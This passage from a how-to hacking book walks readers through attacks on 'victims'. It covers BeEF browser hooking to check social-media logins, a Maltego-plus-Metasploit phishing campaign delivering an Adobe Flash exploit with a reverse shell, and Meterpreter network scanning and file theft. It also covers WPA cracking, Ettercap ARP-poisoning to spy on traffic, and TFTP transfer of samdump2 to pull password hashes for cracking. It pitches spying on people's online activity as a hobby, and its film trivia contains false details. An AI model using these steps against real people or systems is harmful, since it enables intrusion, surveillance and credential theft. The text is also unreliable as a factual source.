The penultimate thing to do is to hanger the browser , you control the hacked
system’s browser when the device is visiting your 192.168.1.107 because the
BeEF is going to hook their browser immediately.
And finally, the last step is detecting if the browser is authenticated to FB, for
doing this please go to BeEF and search for Commands tab and beneath the
Network folder you should find Detect Social Networks command, clicking on
Execute button will see if your victim is authenticated to FB, Twitter or Gmail.
BeEF shows as a result that this victim is not authenticated to FB but it was to
Twitter. Keep an eye on the operation to see when the victim is back, and when it
will open Facebook you can direct a tab to open his/her page.
But what would you do if you would be the hacked one? Here are some advices
to get your Facebook account back to you:
Go immediately to https://www.facebook.com/hacked
Access Your Account has been compromised button
Provide all the requested data and press Search
Facebook will request a current or old password so give them the
old one because the hacker maybe has changed it
Select Reset My Password
Change your primary email address
Make sure you type it right
Check your email for a password reset link
Follow the instructions they give you and normally in 23 hours
you shout get your account back.
Myths about social engineering existed since the old times and will exist forever,
the only way to break them is by studying and trying them, there is no one that
can prove you a myth because myths are usually stories created by limited minds
that are extremely negative and they are trying to influence the public opinion
and turn in 100% against both white hat hackers and black hat hackers but this is
not a solution.
Unfortunately, the public opinion is working on the principle believe and do not
research, this is the most inutile principle ever and that is the main reason why
most of the people are unchallengeable.
Actually, negativity is an attention magnet because people tend to read more
about negative things such as attacks and crimes but the main problem is that
they are highly promoted, negative aspects are totally eclipsing the positive ones.
This is happening in hacking world, only the passionate people and well
documented people know about hacking, about the kinds of hackers and maybe
much more than we expect but why are not white hat hackers promoted and
highlighted as the black hat hackers? Because if they were, most forms of mass
media would lose tons of money and attention and in fact, that is what they want.
To use hacking in an educational way is not a cyber crime , hackers help the
companies which run the world to make them do it even better but they
sometimes stay in the shadow of these companies and never show up. Make sure
you are well documented about any topic before you create an opinion about it
…
If your curiosity is running out of the limits and you would go to your victim’s
house,office and every place visited by your victim just to spy on them you will
not resolve a lot of things because you might get caught by police and there is a
big risk if your victim observes you and you will waste a lot of time investing in
someone else’s person in place of investing time in your person, there is another
way to save the situation and invest time in your person by exercising your
hacking skills by spying on your victim’s online activity and maybe you find
something interesting and hidden about that person. To begin the mission follow
the next steps:
Set your exploit strategy/plan and start by remembering that Adobe Flash Player
is the most vulnerable application and a hacker should take full advantage of
vulnerabilities.
The next step is getting your victim’s email address, you need a person at
headquarters to click on your malicious link/document and bring down a whole
network of computers, and Maltego is going to help you at this point by
collecting email addresses.
Next, send the ‘’magic email’’ which contains malicious file to the emails you
just found using Maltego. Make your malicious code using Metasploit and
initiate a server with the malicious code. Your screen must show a similar
content to what is below :
Msf exploit(adobe_flash_pixel_bender_b0f) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.147.129:4444

[*] Using URL : http://0.0.0.0:8080/JFr4gsilJM9IUoe
[*] Local IP: http:// 192.168.147.129:8080/JFr4gsilJM9IUoe
[*] Server Started.
Msf exploit (adobe_flash_pixel_bender_bof) >

After you just set up a server with the malicious code, get back to Maltego and
make a list of what you found using it and start sending emails with the link to
the target victim(s).
As you might know, time can resolve literally anything so take a seat and relax
because you have done your job. You have sent the emails and in a period
between 24 and 48 hours the victim(s) should click your link.
After you spent some time waiting, someone has just clicked your link and now
you officially have a meterpreter shell attached to their operating system.
So, everything is going on respecting the initial plan and you have got one
machine that is under your control but you want to see the other devices on that
network so you will do an ARP scan which more than scanning, is giving you
the Internet Protocol address of every machine on that network. Use a similar
syntax to this one :
meterpreter > run arp_scan -r 192.168.1.0/24 in order to get a screen similar to
this one:
meterpreter > run arp_scanner –r 192.168.1.0/24
[*] ARP Scanning 192.168.1.0/24
[*] IP: 192.168.1.101 MAC 00:0c:29:70:c7:2a
[*] IP: 192.168.1.102 MAC 00:0c:29:18:6b:db
Meterpreter >

Great news! As you can see, ARP is giving you MAC’s as well and more than
that, you are able now to pivot all the systems on that network.
The next step should satisfy your curiosity because after doing all the above you
should start looking what is going on around you, go to the first system you
hacked and start looking for interesting files, you are now capable of seeing the
entire hard drive , use the search command to do it better!
If you want to get more details, please download the file that has just caught
your attention from the target system. After you explore the first machine, do not
forget about the others on the network!
You have just realized that you are a spy lover? Great! Here is another trick for
you:
Start by firing up Kali and after that make sure you are on the same network with
your victim and you can do it in several ways, it is depending on the victim.
If the victim is using a wireless network, be happy because it is not that
complicated to crack a WPA password or a WPS PIN, after finding out the magic
word, log into your victim’s AP to get in the same network.
If you can get physical access to the victim take full advantage and do it!
And if your victim does not match the above, hack the victim’s system and that
is the ultimate way to get on the same network.
Next, get ready to make a MitM (man-in-the-middle) attack, you can do it using
Ettercap. In order to not complicate the situation, use GUI and type the
following syntax kali > ettercap –G
Next, you should place yourself between the victim and its router, to start doing
this let Ettercap to breathe in on the network. Go to the menu and select the
option Unified sniffing.
Choose the crossing point you want to sniff on ( if it is on wireless network it
should be wlan0).
Move to the next step by letting Ettercap scan for hosts, it will provide you the
Internet Protocol address and the MAC address for the connected systems.
To see all the hosts on the network, go to Hosts menu and select the option Hosts
list, you must be able after that to see the Internet protocol addresses and the
MAC addresses as well.
Time to attack! Remain at the same page a look at the top of the screen, you
should find there a Mitm menu, choose from the menu the Arp poisoning option
and after that, please select your target systems from the list make the victim be
Target 1 and the router Target 2.
Now, you should be placed between the two targets, so you have successfully
reached your goal but there is still some work to do so, start using as a spy
instrument Snort, which was developed for malicious movements and it is
working by picking and inspecting every packet but if you are not interested in
see which malicious files are across the traffic you can see whatever you want by
simply typing it in Kali.
Snort is giving you the option to set your rules, so, you can disable rules which
are not in your interest zone and activate rules about what you expect to see on
your victim’s software.
Continue just by setting rules for what you want and enjoy the spy mission!
After you finish your spy mission, make some time to learn another interesting
hacking trick which is using TFTP to install malicious files on your target
system, try and learn how to do it by following the instrunctions below:
You should know that a TFTP is a protocol which uses port 69, you can use it in
order to upload or download files between systems and it does not request
authentication. Installing a TFTP on a Kali Linux system allows you to upload
hacking software on your target system. Your target should use TFTP too.
Start by firing up Kali and after that please open a terminal, after you open the
terminal you can start the TFTP server by using the syntax:
kali > service atftpd start
And then continue with creating a directory which you want to upload the
malicious file from by using the next syntax:
kali > mkdir /tftpboot
Next step is editing the configuration file for atftpd and in this case the text
editor recommended is Leafpad, the next syntax might help you:
kali > leafpad /etc/default/atftpd
Now, edit the file and save it. Restart the server to see what is going on with the
new configuration.
Next, copy your malicious file to /tftpboot directory and go to the directory
where the software is and then use ‘’cp’’ command to copy it to /tftpboot
directory and you are done with this step.
Get connected to the target system now to upload your malicious file, you can
use a command shell delivered by Netcat.
The next instruction is moving the malicious file/ software to your target after
you configure your TFTP server, the syntax used should be similar to the next
one :
C:\> tftp -i GET 192.168.1.119 samdump2
And the last step in this hack trick is downloading the hashes and save them in a
file using the following syntax:

C:/tftp -i PUT 192.168.1. 119 hashes.txt
Once you have the hashes you can use software like Hashcat or maybe John The
Ripper in order to hack the hashes.

CONCLUSION
Learning and trying all the hack techniques, methods, tips and tricks that are
presented in this book will obviously improve your hacking skills even if you try
each one of them only once. Also, you can use the hack methods, tips,
techniques or even tricks to get inspired enough to create another ones because
that is what innovation mean.
Between tying the hack methods, techniques, tips and tricks presented across the
book you can relax by watching some inspirational hacking movies like:
Hackers ; Johnny Lee Miller is a young hacker boy that is caught by authorities
at only 11 years old for hacking thousands of devices and he gets a sentence that
ban him from accessing the computer until the age of 18.
The film was made in 1993 but it relates a scenario that is going to happen all
the time.
WarGames; the film was produced in 1993. Matthew Broderick is a teenager
who loves to hack and he is doing from his bedroom using his laptop. With the
hacks he made he was getting World War III closer than ever because he gets
access to the Department of Defense's nuclear missile launch controls.
The Girl with the Dragon Tattoo ; Noomi Rapace is in the main role where she
is a teen woman who just got out of the prison because she made a crime due to
love and passion reasons. She was traumatized in the jail and she works as a
hacker for pay and her job makes her meet Mikael who is a writer.
The name of the movie is very suggestive because it is perfectly describing her
life experience and story.
Live free or Die Hard; this movie is pure art!
Timothy Olyphant is a hacker who is taking down United States infrastructures
when he tries to hack for big money.
Sneakers; Robert Redford and Ben are two young hackers who play and one of
them is ending up in prison while the other lives free. They meet after around
thirty years and the one who was arrested is working for ‘’ bad guys’’ while the
other is trying to find the truth about his job. The NSA plays the bad guys who
want the encryption algorithm so that they can spy on everyone.
Ghost in the Shell; awesome movie as well, it reflects the future in Japan where
humans are part flesh and blood and part bionic. A lot of the people own cyber
brains and this concept is not far from being reality in the future.
The legend is about an extraordinary operations mission force that is part-police
and part-military. The front personality is a female officer whose body was
destroyed as young girl and has been replaced by a gorgeous bionic body. The
hacking in this futuristic tale is the even more malicious variety of hacking, the
hacking of the human mind and the human body in general.
The Fifth Estate; the name suggest an unauthorized hacking account of
WikiLeaks and Julian Assange.
Assange is a big famous hacker broke into the Pentagon, Citibank, NASA, and
Stanford University, among other facilities, before being caught. WikiLeaks was
founded to provide a safe position for whistleblowers to make underground state
information obtainable to the world when that information reveals the ill deeds
of influential governments. They were guilty for the leaks about U.S. military
abuses in Iraq and Afghanistan, as well as in other spaces.

Although modest hacking takes position in this film, it is an important film for
the hacking community as it shows how hacking can change the world’s history,
as it will surely do.
The Italian Job ; Seth Green turns into Lyle, a hacker capable of high attacks
such as manipulating traffic signals.
The movie deserves a watch just to see the devices that are in it!
Hack Ethically
Everything you make is totally controlled by you, so you are taking decisions
and you are choosing the options you want to because you are free to do it and it
is your right 100%, in fact this is one of the human fundamental three rights.
The book content is teaching you how to hack and it is presenting basically
everything you should know about hacking and its importance nowadays.
Hacking should be used in order to reach your educational goals. Everything that
happens to you is a package of the results of your actions and you should assume
everything you make 100% and do not blame others for your actions.
In life everything is about action and reaction, the main goal is to know where to
stop. You are the only person that can change something in your life and you can
not be influenced by others because when you consider that you are influenced
by others you are actually not, the main problem is the lack of attitude you show
in front of your person and that is why you think you are influenced.
No one ever should support anything that is not belonging to them; every one of
us is influenced by personal decisions, personal attitude and personal lifestyle.
Even if you try to escape, in the end it is your decision, everything is moving
around you and you are the only person to decide in your case about what you
should do and about what you should not do, you know what is better for you.
Good luck in your hacking endeavors but remember to hack ethically!